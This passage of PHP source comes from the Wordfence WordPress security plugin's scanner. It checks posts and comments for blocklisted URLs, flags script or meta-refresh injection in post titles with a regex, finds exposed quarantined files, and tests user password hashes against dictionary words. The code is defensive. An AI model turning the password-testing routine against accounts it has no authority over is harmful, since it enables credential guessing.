$this->statusIDX['infect'] = wfIssues::statusStart(__('Scanning file contents for infections and vulnerabilities', 'wordfence')); //This stage is marked as started earlier in the hasher rather than here } else { wfIssues::statusDisabled(__("Skipping scan of file contents for infections and vulnerabilities", 'wordfence')); } if ($options['scansEnabled_fileContentsGSB']) { $this->statusIDX['GSB'] = wfIssues::statusStart(__('Scanning file contents for URLs on a domain blocklist', 'wordfence')); //This stage is marked as started earlier in the hasher rather than here } else { wfIssues::statusDisabled(__("Skipping scan of file contents for URLs on a domain blocklist", 'wordfence')); } if ($options['scansEnabled_fileContents'] || $options['scansEnabled_fileContentsGSB']) { $this->scanner = new wordfenceScanner($this->apiKey, $this->wp_version, ABSPATH, $this); $this->status(2, 'info', __("Starting scan of file contents", 'wordfence')); } else { $this->scanner = false; } } private function scan_fileContents_main() { $options = $this->scanController->scanOptions(); if ($options['scansEnabled_fileContents'] || $options['scansEnabled_fileContentsGSB']) { $this->fileContentsResults = $this->scanner->scan($this); } } private function scan_fileContents_finish() { $options = $this->scanController->scanOptions(); if ($options['scansEnabled_fileContents'] || $options['scansEnabled_fileContentsGSB']) { $this->status(2, 'info', __("Done file contents scan", 'wordfence')); if ($this->scanner->errorMsg) { throw new Exception($this->scanner->errorMsg); } $this->scanner = null; $haveIssues = wfIssues::STATUS_SECURE; $haveIssuesGSB = wfIssues::STATUS_SECURE; foreach ($this->fileContentsResults as $issue) { $this->status(2, 'info', sprintf(/* translators: Scan result description. */ __("Adding issue: %s", 'wordfence'), $issue['shortMsg'])); $added = $this->addIssue($issue['type'], $issue['severity'], $issue['ignoreP'], $issue['ignoreC'], $issue['shortMsg'], $issue['longMsg'], $issue['data']); if (isset($issue['data']['gsb'])) { if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssuesGSB = wfIssues::STATUS_PROBLEM; } else if ($haveIssuesGSB != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssuesGSB = wfIssues::STATUS_IGNORED; } } else { if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } } $this->fileContentsResults = null; if ($options['scansEnabled_fileContents']) { wfIssues::statusEnd($this->statusIDX['infect'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_MALWARE_SCAN, $haveIssues); } if ($options['scansEnabled_fileContentsGSB']) { wfIssues::statusEnd($this->statusIDX['GSB'], $haveIssuesGSB); $this->scanController->completeStage(wfScanner::STAGE_CONTENT_SAFETY, $haveIssuesGSB); } } } private function scan_suspectedFiles() { $haveIssues = wfIssues::STATUS_SECURE; $status = wfIssues::statusStart(__("Scanning for publicly accessible quarantined files", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_PUBLIC_FILES); if (is_array($this->suspectedFiles) && count($this->suspectedFiles) > 0) { foreach ($this->suspectedFiles as $file) { wordfence::status(4, 'info', sprintf(/* translators: File path. */ __("Testing accessibility of: %s", 'wordfence'), $file)); $test = wfPubliclyAccessibleFileTest::createFromRootPath($file); if ($test->fileExists() && $test->isPubliclyAccessible()) { $key = "publiclyAccessible" . bin2hex($test->getUrl()); $added = $this->addIssue( 'publiclyAccessible', wfIssues::SEVERITY_HIGH, $key, $key, sprintf(/* translators: File path. */ __('Publicly accessible quarantined file found: %s', 'wordfence'), esc_html($file)), sprintf( /* translators: URL to publicly accessible file. */ __('<a href="%1$s" target="_blank" rel="noopener noreferrer">%1$s<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a> is publicly accessible and may expose source code or sensitive information about your site. Files such as this one are commonly checked for by scanners and should be removed or made inaccessible.', 'wordfence'), $test->getUrl() ), array( 'url' => $test->getUrl(), 'file' => $file, 'canDelete' => true, ) ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } } } wfIssues::statusEnd($status, $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_PUBLIC_FILES, $haveIssues); } private function scan_posts_init() { $this->statusIDX['posts'] = wfIssues::statusStart(__('Scanning posts for URLs on a domain blocklist', 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_CONTENT_SAFETY); $blogsToScan = self::getBlogsToScan('posts'); $this->scanQueue = ''; $wfdb = new wfDB(); $this->hoover = new wordfenceURLHoover($this->apiKey, $this->wp_version); foreach ($blogsToScan as $blog) { $q1 = $wfdb->querySelect("select ID from " . $blog['table'] . " where post_type IN ('page', 'post') and post_status = 'publish'"); foreach ($q1 as $idRow) { $this->scanQueue .= pack('LL', $blog['blog_id'], $idRow['ID']); } } } private function scan_posts_main() { global $wpdb; $wfdb = new wfDB(); while (strlen($this->scanQueue) > 0) { $segment = substr($this->scanQueue, 0, 8); $this->scanQueue = substr($this->scanQueue, 8); $elem = unpack('Lblog/Lpost', $segment); $queueSize = strlen($this->scanQueue) / 8; if ($queueSize > 0 && $queueSize % 1000 == 0) { wordfence::status(2, 'info', sprintf(/* translators: Number of posts left to scan. */ __("Scanning posts with %d left to scan.", 'wordfence'), $queueSize)); } $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_POSTS); $blogID = $elem['blog']; $postID = $elem['post']; $blogs = self::getBlogsToScan('posts', $blogID); $blog = array_shift($blogs); $table = wfDB::blogTable('posts', $blogID); $row = $wfdb->querySingleRec("select ID, post_title, post_type, post_date, post_content from {$table} where ID = %d", $postID); $found = $this->hoover->hoover($blogID . '-' . $row['ID'], $row['post_title'] . ' ' . $row['post_content'], wordfenceURLHoover::standardExcludedHosts()); $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_URLS, $found); if (preg_match('/(?:<[\s\n\r\t]*script[\r\s\n\t]+.*>|<[\s\n\r\t]*meta.*refresh)/i', $row['post_title'])) { $this->addIssue( 'postBadTitle', wfIssues::SEVERITY_HIGH, $row['ID'], md5($row['post_title']), __("Post title contains suspicious code", 'wordfence'), __("This post contains code that is suspicious. Please check the title of the post and confirm that the code in the title is not malicious.", 'wordfence'), array( 'postID' => $postID, 'postTitle' => $row['post_title'], 'permalink' => get_permalink($postID), 'editPostLink' => get_edit_post_link($postID), 'type' => $row['post_type'], 'postDate' => $row['post_date'], 'isMultisite' => $blog['isMultisite'], 'domain' => $blog['domain'], 'path' => $blog['path'], 'blog_id' => $blog['blog_id'] ) ); } $this->forkIfNeeded(); } } private function scan_posts_finish() { global $wpdb; $wfdb = new wfDB(); $this->status(2, 'info', __("Examining URLs found in posts we scanned for dangerous websites", 'wordfence')); $hooverResults = $this->hoover->getBaddies(); $this->status(2, 'info', __("Done examining URLs", 'wordfence')); if ($this->hoover->errorMsg) { wfIssues::statusEndErr(); throw new Exception($this->hoover->errorMsg); } $this->hoover->cleanup(); $haveIssues = wfIssues::STATUS_SECURE; foreach ($hooverResults as $idString => $hresults) { $arr = explode('-', $idString); $blogID = $arr[0]; $postID = $arr[1]; $table = wfDB::blogTable('posts', $blogID); $blog = null; $post = null; foreach ($hresults as $result) { if ($result['badList'] != 'goog-malware-shavar' && $result['badList'] != 'googpub-phish-shavar' && $result['badList'] != 'wordfence-dbl') { continue; //A list type that may be new and the plugin has not been upgraded yet. } if ($blog === null) { $blogs = self::getBlogsToScan('posts', $blogID); $blog = array_shift($blogs); } if ($post === null) { $post = $wfdb->querySingleRec("select ID, post_title, post_type, post_date, post_content from {$table} where ID = %d", $postID); $type = $post['post_type'] ? $post['post_type'] : 'comment'; $uctype = ucfirst($type); $postDate = $post['post_date']; $title = $post['post_title']; $contentMD5 = md5($post['post_content']); } if ($result['badList'] == 'goog-malware-shavar') { $shortMsg = sprintf( /* translators: 1. WordPress Post type. 2. URL. */ __('%1$s contains a suspected malware URL: %2$s', 'wordfence'), $uctype, esc_html($title) ); $longMsg = sprintf( /* translators: 1. WordPress Post type. 2. URL. 3. URL. */ __('This %1$s contains a suspected malware URL listed on Google\'s list of malware sites. The URL is: %2$s - More info available at <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=%3$s&client=googlechrome&hl=en-US" target="_blank" rel="noopener noreferrer">Google Safe Browsing diagnostic page<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>.', 'wordfence'), esc_html($type), esc_html($result['URL']), urlencode($result['URL']) ); } else if ($result['badList'] == 'googpub-phish-shavar') { $shortMsg = sprintf(/* translators: 1. WordPress Post type. 2. URL. */ __('%1$s contains a suspected phishing site URL: %2$s', 'wordfence'), $uctype, esc_html($title)); $longMsg = sprintf( /* translators: 1. WordPress Post type. 2. URL. */ __('This %1$s contains a URL that is a suspected phishing site that is currently listed on Google\'s list of known phishing sites. The URL is: %2$s', 'wordfence'), esc_html($type), esc_html($result['URL']) ); } else if ($result['badList'] == 'wordfence-dbl') { $shortMsg = sprintf(/* translators: 1. WordPress Post type. 2. URL. */ __('%1$s contains a suspected malware URL: %2$s', 'wordfence'), $uctype, esc_html($title)); $longMsg = sprintf( /* translators: 1. WordPress Post type. 2. URL. */ __('This %1$s contains a URL that is currently listed on Wordfence\'s domain blocklist. The URL is: %2$s', 'wordfence'), esc_html($type), esc_html($result['URL']) ); } else { //A list type that may be new and the plugin has not been upgraded yet. continue; } $this->status(2, 'info', sprintf(/* translators: Scan result description. */ __('Adding issue: %1$s', 'wordfence'), $shortMsg)); if (is_multisite()) { switch_to_blog($blogID); } $ignoreP = $idString; $ignoreC = $idString . $contentMD5; $added = $this->addIssue('postBadURL', wfIssues::SEVERITY_HIGH, $ignoreP, $ignoreC, $shortMsg, $longMsg, array( 'postID' => $postID, 'badURL' => $result['URL'], 'postTitle' => $title, 'type' => $type, 'uctype' => $uctype, 'permalink' => get_permalink($postID), 'editPostLink' => get_edit_post_link($postID), 'postDate' => $postDate, 'isMultisite' => $blog['isMultisite'], 'domain' => $blog['domain'], 'path' => $blog['path'], 'blog_id' => $blogID )); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } if (is_multisite()) { restore_current_blog(); } } } wfIssues::statusEnd($this->statusIDX['posts'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_CONTENT_SAFETY, $haveIssues); $this->scanQueue = ''; } private function scan_comments_init() { $this->statusIDX['comments'] = wfIssues::statusStart(__('Scanning comments for URLs on a domain blocklist', 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_CONTENT_SAFETY); $this->scanData = array(); $this->scanQueue = ''; $this->hoover = new wordfenceURLHoover($this->apiKey, $this->wp_version); $blogsToScan = self::getBlogsToScan('comments'); $wfdb = new wfDB(); foreach ($blogsToScan as $blog) { $q1 = $wfdb->querySelect("select comment_ID from " . $blog['table'] . " where comment_approved=1 and not comment_type = 'order_note'"); foreach ($q1 as $idRow) { $this->scanQueue .= pack('LL', $blog['blog_id'], $idRow['comment_ID']); } } } private function scan_comments_main() { global $wpdb; $wfdb = new wfDB(); while (strlen($this->scanQueue) > 0) { $segment = substr($this->scanQueue, 0, 8); $this->scanQueue = substr($this->scanQueue, 8); $elem = unpack('Lblog/Lcomment', $segment); $queueSize = strlen($this->scanQueue) / 8; if ($queueSize > 0 && $queueSize % 1000 == 0) { wordfence::status(2, 'info', sprintf(/* translators: Number of comments left to scan. */ __("Scanning comments with %d left to scan.", 'wordfence'), $queueSize)); } $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_COMMENTS); $blogID = $elem['blog']; $commentID = $elem['comment']; $table = wfDB::blogTable('comments', $blogID); $row = $wfdb->querySingleRec("select comment_ID, comment_date, comment_type, comment_author, comment_author_url, comment_content from {$table} where comment_ID=%d", $commentID); $found = $this->hoover->hoover($blogID . '-' . $row['comment_ID'], $row['comment_author_url'] . ' ' . $row['comment_author'] . ' ' . $row['comment_content'], wordfenceURLHoover::standardExcludedHosts()); $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_URLS, $found); $this->forkIfNeeded(); } } private function scan_comments_finish() { $wfdb = new wfDB(); $hooverResults = $this->hoover->getBaddies(); if ($this->hoover->errorMsg) { wfIssues::statusEndErr(); throw new Exception($this->hoover->errorMsg); } $this->hoover->cleanup(); $haveIssues = wfIssues::STATUS_SECURE; foreach ($hooverResults as $idString => $hresults) { $arr = explode('-', $idString); $blogID = $arr[0]; $commentID = $arr[1]; $blog = null; $comment = null; foreach ($hresults as $result) { if ($result['badList'] != 'goog-malware-shavar' && $result['badList'] != 'googpub-phish-shavar' && $result['badList'] != 'wordfence-dbl') { continue; //A list type that may be new and the plugin has not been upgraded yet. } if ($blog === null) { $blogs = self::getBlogsToScan('comments', $blogID); $blog = array_shift($blogs); } if ($comment === null) { $comment = $wfdb->querySingleRec("select comment_ID, comment_date, comment_type, comment_author, comment_author_url, comment_content from " . $blog['table'] . " where comment_ID=%d", $commentID); $type = $comment['comment_type'] ? $comment['comment_type'] : 'comment'; $uctype = ucfirst($type); $author = $comment['comment_author']; $date = $comment['comment_date']; $contentMD5 = md5($comment['comment_content'] . $comment['comment_author'] . $comment['comment_author_url']); } if ($result['badList'] == 'goog-malware-shavar') { $shortMsg = sprintf( /* translators: 1. WordPress post type. 2. WordPress author username. */ __('%1$s with author %2$s contains a suspected malware URL.', 'wordfence'), $uctype, esc_html($author)); $longMsg = sprintf( /* translators: 1. WordPress post type. 2. URL. 3. URL. */ __('This %1$s contains a suspected malware URL listed on Google\'s list of malware sites. The URL is: %2$s - More info available at <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=%3$s&client=googlechrome&hl=en-US" target="_blank" rel="noopener noreferrer">Google Safe Browsing diagnostic page<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>.', 'wordfence'), esc_html($type), esc_html($result['URL']), urlencode($result['URL']) ); } else if ($result['badList'] == 'googpub-phish-shavar') { $shortMsg = sprintf(/* translators: WordPress post type. */ __("%s contains a suspected phishing site URL.", 'wordfence'), $uctype); $longMsg = sprintf( /* translators: 1. WordPress post type. 2. URL. */ __('This %1$s contains a URL that is a suspected phishing site that is currently listed on Google\'s list of known phishing sites. The URL is: %2$s', 'wordfence'), esc_html($type), esc_html($result['URL']) ); } else if ($result['badList'] == 'wordfence-dbl') { $shortMsg = sprintf(/* translators: URL. */ __("%s contains a suspected malware URL.", 'wordfence'), $uctype); $longMsg = sprintf( /* translators: 1. WordPress post type. 2. URL. */ __('This %1$s contains a URL that is currently listed on Wordfence\'s domain blocklist. The URL is: %2$s', 'wordfence'), esc_html($type), esc_html($result['URL']) ); } if (is_multisite()) { switch_to_blog($blogID); } $ignoreP = $idString; $ignoreC = $idString . '-' . $contentMD5; $added = $this->addIssue('commentBadURL', wfIssues::SEVERITY_LOW, $ignoreP, $ignoreC, $shortMsg, $longMsg, array( 'commentID' => $commentID, 'badURL' => $result['URL'], 'author' => $author, 'type' => $type, 'uctype' => $uctype, 'editCommentLink' => get_edit_comment_link($commentID), 'commentDate' => $date, 'isMultisite' => $blog['isMultisite'], 'domain' => $blog['domain'], 'path' => $blog['path'], 'blog_id' => $blogID )); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } if (is_multisite()) { restore_current_blog(); } } } wfIssues::statusEnd($this->statusIDX['comments'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_CONTENT_SAFETY, $haveIssues); $this->scanQueue = ''; } public function isBadComment($author, $email, $url, $IP, $content) { $content = $author . ' ' . $email . ' ' . $url . ' ' . $IP . ' ' . $content; $cDesc = ''; if ($author) { $cDesc = sprintf(/* translators: WordPress username. */ __("Author: %s", 'wordfence'), $author) . ' '; } if ($email) { $cDesc .= sprintf(/* translators: Email address. */ __("Email: %s", 'wordfence'), $email) . ' '; } $cDesc .= sprintf(/* translators: IP address. */ __("Source IP: %s", 'wordfence'), $IP) . ' '; $this->status(2, 'info', sprintf(/* translators: Comment description. */ __("Scanning comment with %s", 'wordfence'), $cDesc)); $h = new wordfenceURLHoover($this->apiKey, $this->wp_version); $h->hoover(1, $content, wordfenceURLHoover::standardExcludedHosts()); $hooverResults = $h->getBaddies(); if ($h->errorMsg) { return false; } $h->cleanup(); if (sizeof($hooverResults) > 0 && isset($hooverResults[1])) { $hresults = $hooverResults[1]; foreach ($hresults as $result) { if ($result['badList'] == 'goog-malware-shavar') { $this->status(2, 'info', sprintf(/* translators: Comment description. */ __("Marking comment as spam for containing a malware URL. Comment has %s", 'wordfence'), $cDesc)); return true; } else if ($result['badList'] == 'googpub-phish-shavar') { $this->status(2, 'info', sprintf(/* translators: Comment description. */ __("Marking comment as spam for containing a phishing URL. Comment has %s", 'wordfence'), $cDesc)); return true; } else if ($result['badList'] == 'wordfence-dbl') { $this->status(2, 'info', sprintf(/* translators: Comment description. */ __("Marking comment as spam for containing a malware URL. Comment has %s", 'wordfence'), $cDesc)); } else { //A list type that may be new and the plugin has not been upgraded yet. continue; } } } $this->status(2, 'info', sprintf(/* translators: Comment description. */ __("Scanned comment with %s", 'wordfence'), $cDesc)); return false; } public static function getBlogsToScan($table, $withID = null) { $wfdb = new wfDB(); global $wpdb; $blogsToScan = array(); if (is_multisite()) { if ($withID === null) { $q1 = $wfdb->querySelect("select blog_id, domain, path from {$wpdb->blogs} where deleted=0 order by blog_id asc"); } else { $q1 = $wfdb->querySelect("select blog_id, domain, path from {$wpdb->blogs} where deleted=0 and blog_id = %d", $withID); } foreach ($q1 as $row) { $row['isMultisite'] = true; $row['table'] = wfDB::blogTable($table, $row['blog_id']); $blogsToScan[] = $row; } } else { $blogsToScan[] = array( 'isMultisite' => false, 'table' => wfDB::networkTable($table), 'blog_id' => '1', 'domain' => '', 'path' => '', ); } return $blogsToScan; } private function highestCap($caps) { foreach (array('administrator', 'editor', 'author', 'contributor', 'subscriber') as $cap) { if (empty($caps[$cap]) === false && $caps[$cap]) { return $cap; } } return ''; } private function isEditor($caps) { foreach (array('contributor', 'author', 'editor', 'administrator') as $cap) { if (empty($caps[$cap]) === false && $caps[$cap]) { return true; } } return false; } private function scan_passwds_init() { $this->statusIDX['passwds'] = wfIssues::statusStart(__('Scanning for weak passwords', 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_PASSWORD_STRENGTH); global $wpdb; $counter = 0; $query = "select ID from " . $wpdb->users; $dbh = $wpdb->dbh; $useMySQLi = wfUtils::useMySQLi(); if ($useMySQLi) { //If direct-access MySQLi is available, we use it to minimize the memory footprint instead of letting it fetch everything into an array first $result = $dbh->query($query); if (!is_object($result)) { return array( 'errorMsg' => __("We were unable to generate the user list for your password check.", 'wordfence'), ); } while ($rec = $result->fetch_assoc()) { $this->userPasswdQueue .= pack('N', $rec['ID']); $counter++; } } else { $res1 = $wpdb->get_results($query, ARRAY_A); foreach ($res1 as $rec) { $this->userPasswdQueue .= pack('N', $rec['ID']); $counter++; } } wordfence::status(2, 'info', sprintf( /* translators: Number of users. */ _n("Starting password strength check on %d user.", "Starting password strength check on %d users.", $counter, 'wordfence'), $counter)); } private function scan_passwds_main() { while (strlen($this->userPasswdQueue) > 3) { $usersLeft = strlen($this->userPasswdQueue) / 4; //4 byte ints if ($usersLeft % 100 == 0) { wordfence::status(2, 'info', sprintf( /* translators: Number of users. */ _n( "Total of %d users left to process in password strength check.", "Total of %d users left to process in password strength check.", $usersLeft, 'wordfence'), $usersLeft )); } $userID = unpack('N', substr($this->userPasswdQueue, 0, 4)); $userID = $userID[1]; $this->userPasswdQueue = substr($this->userPasswdQueue, 4); $state = $this->scanUserPassword($userID); $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_USERS); if ($state == wfIssues::STATUS_PROBLEM) { $this->passwdHasIssues = wfIssues::STATUS_PROBLEM; } else if ($this->passwdHasIssues != wfIssues::STATUS_PROBLEM && $state == wfIssues::STATUS_IGNORED) { $this->passwdHasIssues = wfIssues::STATUS_IGNORED; } $this->forkIfNeeded(); } } private function scan_passwds_finish() { wfIssues::statusEnd($this->statusIDX['passwds'], $this->passwdHasIssues); $this->scanController->completeStage(wfScanner::STAGE_PASSWORD_STRENGTH, $this->passwdHasIssues); } public function scanUserPassword($userID) { $suspended = wp_suspend_cache_addition(); wp_suspend_cache_addition(true); require_once(ABSPATH . 'wp-includes/class-phpass.php'); $passwdHasher = new PasswordHash(8, TRUE); $userDat = get_userdata($userID); if ($userDat === false) { wordfence::status(2, 'error', sprintf(/* translators: WordPress user ID. */ __("Could not get username for user with ID %d when checking password strength.", 'wordfence'), $userID)); return false; } //user_login $this->status(4, 'info', sprintf( /* translators: 1. WordPress username. 2. WordPress user ID. */ __('Checking password strength of user \'%1$s\' with ID %2$d', 'wordfence'), $userDat->user_login, $userID ) . (function_exists('memory_get_usage') ? " (Mem:" . sprintf('%.1f', memory_get_usage(true) / (1024 * 1024)) . "M)" : "")); $highCap = $this->highestCap($userDat->wp_capabilities); if ($this->isEditor($userDat->wp_capabilities)) { $shortMsg = sprintf( /* translators: 1. WordPress username. 2. WordPress capability. */ __('User "%1$s" with "%2$s" access has an easy password.', 'wordfence'), esc_html($userDat->user_login), esc_html($highCap) ); $longMsg = sprintf( /* translators: WordPress capability. */ __("A user with the a role of '%s' has a password that is easy to guess. Please change this password yourself or ask the user to change it.", 'wordfence'), esc_html($highCap) ); $level = wfIssues::SEVERITY_CRITICAL; $words = $this->dictWords; } else { $shortMsg = sprintf( /* translators: WordPress username. */ __("User \"%s\" with 'subscriber' access has a very easy password.", 'wordfence'), esc_html($userDat->user_login)); $longMsg = __("A user with 'subscriber' access has a password that is very easy to guess. Please either change it or ask the user to change their password.", 'wordfence'); $level = wfIssues::SEVERITY_HIGH; $words = array($userDat->user_login); } $haveIssues = wfIssues::STATUS_SECURE; for ($i = 0; $i < sizeof($words); $i++) { if ($passwdHasher->CheckPassword($words[$i], $userDat->user_pass)) { $this->status(2, 'info', sprintf(/* translators: Scan result description. */ __('Adding issue %s', 'wordfence'), $shortMsg)); $added = $this->addIssue('easyPassword', $level, $userDat->ID, $userDat->ID . '-' . $userDat->user_pass, $shortMsg, $longMsg, array( 'ID' => $userDat->ID, 'user_login' => $userDat->user_login, 'user_email' => $userDat->user_email, 'first_name' => $userDat->first_name, 'last_name' => $userDat->last_name, 'editUserLink' => wfUtils::editUserLink($userDat->ID) )); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_SECURE && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } break; } } $this->status(4, 'info', sprintf(/* translators: WordPress username. */ __("Completed checking password strength of user '%s'", 'wordfence'), $userDat->user_login)); wp_suspend_cache_addition($suspended); return $haveIssues; } /* private function scan_sitePages(){ if(is_multisite()){ return; } //Multisite not supported by this function yet $this->statusIDX['sitePages'] = wordfence::statusStart("Scanning externally for malware"); $resp = wp_remote_get(site_url()); if(is_array($resp) && isset($resp['body']) && strlen($rep['body']) > 0){ $this->hoover = new wordfenceURLHoover($this->apiKey, $this->wp_version); $this->hoover->hoover(1, $rep['body']); $hooverResults = $this->hoover->getBaddies(); if($this->hoover->errorMsg){ wordfence::statusEndErr(); throw new Exception($this->hoover->errorMsg); } $badURLs = array(); foreach($hooverResults as $idString => $hresults){ foreach($hresults as $result){ if(! in_array($result['URL'], $badURLs)){ $badURLs[] = $result['URL']; } } } if(sizeof($badURLs) > 0){ $this->addIssue('badSitePage', 1, 'badSitePage1', 'badSitePage1', "Your home page contains a malware URL"); } } } */ private function scan_diskSpace() { $this->statusIDX['diskSpace'] = wfIssues::statusStart(__('Scanning to check available disk space', 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_SERVER_STATE); wfUtils::errorsOff(); $total = function_exists('disk_total_space')?@disk_total_space('.'):false; $free = function_exists('disk_free_space')?@disk_free_space('.'):false; //Normally false if unreadable but can return 0 on some hosts even when there's space available wfUtils::errorsOn(); if (!$total || !$free) { $this->status(2, 'info', __('Unable to access available disk space information', 'wordfence')); wfIssues::statusEnd($this->statusIDX['diskSpace'], wfIssues::STATUS_SECURE); $this->scanController->completeStage(wfScanner::STAGE_SERVER_STATE, wfIssues::STATUS_SECURE); return; } $this->status(2, 'info', sprintf( /* translators: 1. Number of bytes. 2. Number of bytes. */ __('Total disk space: %1$s -- Free disk space: %2$s', 'wordfence'), wfUtils::formatBytes($total), wfUtils::formatBytes($free) )); $freeMegs = round($free / 1024 / 1024, 2); $this->status(2, 'info', sprintf(/* translators: Number of bytes. */ __('The disk has %s MB available', 'wordfence'), $freeMegs)); if ($freeMegs < 5) { $level = wfIssues::SEVERITY_CRITICAL; } else if ($freeMegs < 20) { $level = wfIssues::SEVERITY_HIGH; } else { wfIssues::statusEnd($this->statusIDX['diskSpace'], wfIssues::STATUS_SECURE); $this->scanController->completeStage(wfScanner::STAGE_SERVER_STATE, wfIssues::STATUS_SECURE); return; } $haveIssues = wfIssues::STATUS_SECURE; $added = $this->addIssue('diskSpace', $level, 'diskSpace', 'diskSpace' . $level, sprintf(/* translators: Number of bytes. */ __('You have %s disk space remaining', 'wordfence'), wfUtils::formatBytes($free)), sprintf(/* translators: Number of bytes. */ __('You only have %s of your disk space remaining. Please free up disk space or your website may stop serving requests.', 'wordfence'), wfUtils::formatBytes($free)), array('spaceLeft' => wfUtils::formatBytes($free)) ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_SECURE && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } wfIssues::statusEnd($this->statusIDX['diskSpace'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_SERVER_STATE, $haveIssues); } private function scan_wafStatus() { $this->statusIDX['wafStatus'] = wfIssues::statusStart(__('Checking Web Application Firewall status', 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_SERVER_STATE); $haveIssues = wfIssues::STATUS_SECURE; $added = false; $firewall = new wfFirewall(); if (wfConfig::get('waf_status') !== $firewall->firewallMode() && $firewall->firewallMode() == wfFirewall::FIREWALL_MODE_DISABLED) { $added = $this->addIssue('wafStatus', wfIssues::SEVERITY_CRITICAL, 'wafStatus', 'wafStatus' . $firewall->firewallMode(), __('Web Application Firewall is disabled', 'wordfence'), sprintf(/* translators: Support URL. */ __('Wordfence\'s Web Application Firewall has been unexpectedly disabled. If you see a notice at the top of the Wordfence admin pages that says "The Wordfence Web Application Firewall cannot run," click the link in that message to rebuild the configuration. If this does not work, you may need to fix file permissions. <a href="%s" target="_blank" rel="noopener noreferrer">More Details<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_WAF_DISABLED)), array('wafStatus' => $firewall->firewallMode(), 'wafStatusDisplay' => $firewall->displayText()) ); } if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_SECURE && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } wfIssues::statusEnd($this->statusIDX['wafStatus'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_SERVER_STATE, $haveIssues); } private function scan_oldVersions_init() { $this->statusIDX['oldVersions'] = wfIssues::statusStart(__("Scanning for old themes, plugins and core files", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_VULNERABILITY_SCAN); $this->updateCheck = new wfUpdateCheck(); $this->updateCheck->checkCoreVulnerabilities(); $this->updateCheck->checkPluginVulnerabilities(); $this->updateCheck->checkThemeVulnerabilities(); $this->updateCheck->checkAllUpdates(!$this->isFullScan()); foreach ($this->updateCheck->getPluginSlugs() as $slug) { $this->pluginRepoStatus[$slug] = false; } //Strip plugins that have a pending update if (count($this->updateCheck->getPluginUpdates()) > 0) { foreach ($this->updateCheck->getPluginUpdates() as $plugin) { if (!empty($plugin['slug'])) { unset($this->pluginRepoStatus[$plugin['slug']]); } } } } private function scan_oldVersions_main() { if (!$this->isFullScan()) { return; } if (!function_exists('plugins_api')) { require_once(ABSPATH . 'wp-admin/includes/plugin-install.php'); } foreach ($this->pluginRepoStatus as $slug => $status) { if ($status === false) { try { $result = plugins_api('plugin_information', array( 'slug' => $slug, 'fields' => array( 'short_description' => false, 'description' => false, 'sections' => false, 'tested' => true, 'requires' => true, 'rating' => false, 'ratings' => false, 'downloaded' => false, 'downloadlink' => false, 'last_updated' => true, 'added' => false, 'tags' => false, 'compatibility' 